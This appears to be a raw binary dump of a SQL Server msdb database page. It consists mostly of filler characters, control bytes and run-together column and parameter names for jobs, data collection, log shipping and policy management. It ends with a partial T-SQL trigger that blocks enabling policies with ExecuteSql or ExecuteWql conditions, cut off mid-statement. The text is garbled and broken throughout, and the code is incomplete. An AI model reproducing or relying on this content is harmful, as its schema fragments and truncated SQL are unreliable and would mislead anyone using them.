!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!		J	UH3g(x-\gJ
W

`	i,

/
3K`-@Y)U80-~<$$[conversation_handle0-~<88
Kmailitem_id0-~<88
)x?Osend_attempts0-~<==b@alast_send_attempt_date0-)=88
M@schedule_id0-)=4Q@schedule_name0-)=hhO@force_delete0-)=hhS@automatic_post0-9I=4?@name0-9I=88
I@policy_id0-9>4Q@database_name0-9>4K@login_name0-9>4_@username_in_targetdb0-?r>Alog_id0-?r>Oparent_log_id0-?r>88
Wcollection_set_id0-?r>88
Ycollection_item_id0-?r>==Istart_time0-?r>==[last_iteration_time0-?r>==Kfinish_time0-?r>44aruntime_execution_mode0-?r>	44Astatus0-?r>
4Eoperator0-?r>$$Ipackage_id0-?r>@4@Mpackage_name0-?r>
$$]package_execution_id0-?r>4Sfailure_message0-I>88
Mmedia_set_id0-I>00afamily_sequence_number0-I>$$Smedia_family_id0-I>88
Kmedia_count0-I>4[logical_device_name0-I>4]physical_device_name0-I>00Kdevice_type0-I>88
[physical_block_size0-I>	00qAAmirror0-^?$$C@job_id0-^?88
E@step_id0-^?4I@step_name0-^?P4I@subsystem0-^?4E@command0-^?4C@server0-^?00Y@on_success_action0-^?88
[@on_success_step_id0-^?	00S@on_fail_action0-^?
88
U@on_fail_step_id0-^?88
U@os_run_priority0-^?4Q@database_name0-^?
4[@database_user_name0-r5=>4?@name0-r5=>88
I@policy_id0-r5=>4G@new_name0-=4Y@mdw_database_name0-=hhM@require_mdw0-=hhS@force_stub_use0-=hhQ@refresh_views0-!=4]physical_server_name0-!=@4@Mcomputer_urn0-!=@4@Spowershell_path0-!=88
Gpolicy_id0-!=hhUis_global_policy0-!=88
Oresource_type0-!=88
Ktarget_type0-!=88
Uutilization_type0-WE>4Edac_name0-WE>4edac_server_instance_name0-WE>@4@Cdac_urn0-WE>@4@Spowershell_path0-WE>88
Gpolicy_id0-WE>hhUis_global_policy0-WE>88
Oresource_type0-WE>88
Ktarget_type0-WE>	88
Uutilization_type0-=4Usecondary_server0-=4Ysecondary_database0-=$$Msecondary_id0-=4Qprimary_server0-=4Uprimary_database0-=88
Wrestore_threshold0-=88
Sthreshold_alert0-=hhcthreshold_alert_enabled0-=	4Ulast_copied_file0-=
==Ulast_copied_date0-===]last_copied_date_utc0-=4Ylast_restored_file0-=
==Ylast_restored_date0-===alast_restored_date_utc0-=88
_last_restored_latency0-=88
ehistory_retention_period!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!di
b

H<M
`$
|
!
		"	%J	]`	yG~q5R9.v#w&+5T4U`@-A3)+oUMtn0-cf?$$Y@collection_job_id0-cf?$$Q@upload_job_id0-cf?88
M@schedule_id0-cf?44U@collection_mode0-S@$$C@job_id0-S@4G@job_name0-S@88
E@step_id0-S@4I@step_name0-S@P4I@subsystem0-S@4E@command0-S@4a@additional_parameters0-S@88
_@cmdexec_success_code0-S@	00Y@on_success_action0-S@
88
[@on_success_step_id0-S@00S@on_fail_action0-S@88
U@on_fail_step_id0-S@
4C@server0-S@4Q@database_name0-S@4[@database_user_name0-S@88
S@retry_attempts0-S@88
S@retry_interval0-S@88
U@os_run_priority0-S@4W@output_file_name0-S@88
A@flags0-S@88
G@proxy_id0-S@4K@proxy_name0-S@$$G@step_uid0-Z@Alog_id0-Z@4Gtask_name0-Z@88
aexecution_row_count_in0-Z@88
cexecution_row_count_out0-Z@88
iexecution_row_count_errors0-Z@88
Wexecution_time_ms0-Z@==Elog_time0-@$$C@job_id0-@4G@job_name0-@88
E@step_id0-@4I@step_name0-@P4I@subsystem0-@4E@command0-@4a@additional_parameters0-@88
_@cmdexec_success_code0-@	00Y@on_success_action0-}%@4?@name0-}%@88
I@policy_id0-i?4edac_server_instance_name0-i?4Edac_name0-i?88
]is_policy_overridden0-ɍ@4]server_instance_name0-ɍ@88
]is_policy_overridden0-f_?$$Malert_job_id0-@88
U@os_run_priority0-@4W@output_file_name0-@88
A@flags0-@88
G@proxy_id0-@4K@proxy_name0-@$$G@step_uid0-A88
CPlog_id0-A88
Ievent_type0-A==
	CElog_date0-A4@Kdescription0-A88
Iprocess_id0-A88
Kmailitem_id0-A88
Iaccount_id0-A==F-DOlast_mod_date0-A	4QEOlast_mod_user0-A$$C@job_id0-A4G@job_name0-A88
E@step_id0-A4I@step_name0-AP4I@subsystem0-A4E@command0-A4a@additional_parameters0-A88
_@cmdexec_success_code0-A	00Y@on_success_action0-A
88
[@on_success_step_id0-A00S@on_fail_action0-A88
U@on_fail_step_id0-A
4C@server0-A4Q@database_name0-A4[@database_user_name0-A88
S@retry_attempts0-A88
S@retry_interval0-A88
U@os_run_priority0-A4W@output_file_name0-A88
A@flags0-A88
G@proxy_id0-A4K@proxy_name0-}%@4?@name0-}%@88
I@policy_id0-A88
Utarget_filter_id0-A88
Gpolicy_id0-A4=type0-A4@Afilter0-A4Otype_skeleton0-V
B@G@inserted0-V
B4@Afilter0-i?4edac_server_instance_name0-i?4Edac_name0-i?88
]is_policy_overridden0-ɍ@4]server_instance_namep
!
{2]h
~

	Q	
	
7X]nkR
{6a"W
`-)D^vR0-(C$$Ajob_id0-(C88
_originating_server_id0-(C4=name0-(C00Cenabled0-(C4Kdescription0-(C88
Ostart_step_id0-(C88
Kcategory_id0-(CUUGowner_sid0-(C	88
_notify_level_eventlog0-(C
88
Ynotify_level_email0-(C88
]notify_level_netsend0-(C88
Wnotify_level_page0-(C
88
enotify_email_operator_id0-(C88
inotify_netsend_operator_id0-(C88
cnotify_page_operator_id0-(C88
Mdelete_level0-(C==Mdate_created0-(C==Odate_modified0-(C88
Qversion_number0-6CAlog_id0-6C4Gtask_name0-6C88
aexecution_row_count_in0-6C88
cexecution_row_count_out0-6C88
iexecution_row_count_errors0-6C88
Wexecution_time_ms0-6C==Elog_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8l2I}de=`-EP)hH
K0-eNAlog_id0-eNOparent_log_id0-eN88
Wcollection_set_id0-eN==Istart_time0-eN==[last_iteration_time0-eN==Kfinish_time0-eN88
Eduration0-eN44aruntime_execution_mode0-eN	4Eoperator0-eN
44Astatus0-eN$$Ipackage_id0-eN$$]package_execution_id0-eN
4Sfailure_message0-eN88
?depth0-eNC@log_id0-eNhh]@from_collection_set0-GO$$C@job_id0-GO4G@job_name0-GO4G@new_name0-GO00E@enabled0-GO4M@description0-GO88
Q@start_step_id0-GO4Q@category_name0-GO4W@owner_login_name0-GO	88
a@notify_level_eventlog0-GO
88
[@notify_level_email0-GO88
_@notify_level_netsend0-GO88
Y@notify_level_page0-GO
4k@notify_email_operator_name0-GO4o@notify_netsend_operator_name0-GO4i@notify_page_operator_name0-GO88
O@delete_level0-GOhhS@automatic_post0-˜OAlog_id0-˜O4Gtask_name0-˜O88
Uavg_row_count_in0-˜O88
Umin_row_count_in0-˜O88
Umax_row_count_in0-˜O88
Wavg_row_count_out0-˜O88
Wmin_row_count_out0-˜O88
Wmax_row_count_out0-˜O	88
]avg_row_count_errors0-˜O
88
]min_row_count_errors0-˜O88
]max_row_count_errors0-˜O88
Mavg_duration0-˜O
88
Mmin_duration0-˜O88
Mmax_duration0-˜OC@log_id0-O88
Yrestore_history_id0-O4Qfilegroup_name0-;P$$C@job_id0-;P4G@job_name0-;P4[@originating_server0-;PhhS@delete_history0-;Phhc@delete_unused_schedule0-P4Asource0-P4?event0-P4Cmessage0-P==Istart_time0-P==Kfinish_time0-P88
Edatacode0-P""Gdatabytes0-PC@log_id0-U0Q$$C@job_id0-U0Q4G@job_type0-U0Q4W@owner_login_name0-U0QP4I@subsystem0-U0Q88
M@category_id0-U0Q00E@enabled0-tgO88
Q@target_set_id0-tgO4Q@type_skeleton0-tgO88
O@condition_id0-tgO4S@condition_name-[P88
0-[P88
Q@target_set_id0-J2O4Wucp_instance_name0-J2O4Wmdw_database_name0-J2O88
_upload_schema_version0-&P4Y@ucp_instance_name0-&P4Y@mdw_database_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Qj'X
BX'Kfy,5
{
$
v!w0
4
M
	u	
	R?P}:W[b!{6G`.<'
C?/w0T:0 w8
CREATE TRIGGER [dbo].[syspolicy_update_policy_trigger] on [dbo].[syspolicy_policies_internal]
FOR UPDATE
AS
BEGIN
    -- Protect against non-scheduled enabled policies that have scripts in their conditions
    IF( UPDATE(is_enabled) )
    BEGIN
        DECLARE @row_count int

        SELECT @row_count = count(*) 
            FROM syspolicy_conditions c  
            INNER JOIN inserted i ON (i.condition_id = c.condition_id OR i.root_condition_id = c.condition_id)
            WHERE    i.is_enabled != 0 AND
                    i.execution_mode != 4 AND
                    (1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                    1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) ) 
            OPTION (FORCE ORDER)

        SELECT @row_count = @row_count + count(*)
            FROM dbo.syspolicy_target_set_levels l 
            INNER JOIN dbo.syspolicy_target_sets s ON s.target_set_id = l.target_set_id
            INNER JOIN syspolicy_conditions c on c.condition_id = l.condition_id
            INNER JOIN syspolicy_object_sets_internal os on os.object_set_id = s.object_set_id
            INNER JOIN inserted i ON os.object_set_id = i.object_set_id
            WHERE    i.is_enabled != 0 AND
                    i.execution_mode != 4 AND
                    (1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteSql"]' ) OR
                    1 = CONVERT(xml, c.expression).exist('//FunctionType/text()[.="ExecuteWql"]' ) )
            OPTION (FORCE ORDER)

        IF (@row_count > 0)
        BEGIN
            RAISERROR(34017, -1, -1) 
            ROLLBACK TRANSACTION
        END
    END

	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END
	
	-- This is to prevent indirect execution of the trigger
	IF (TRIGGER_NESTLEVEL() > 1) RETURN

    IF( UPDATE(condition_id) )
    BEGIN
        -- delete all health state records for active policies whose 
        -- condition has changed
        DELETE FROM [dbo].[syspolicy_system_health_state_internal] 
            FROM [dbo].[syspolicy_system_health_state_internal] phs
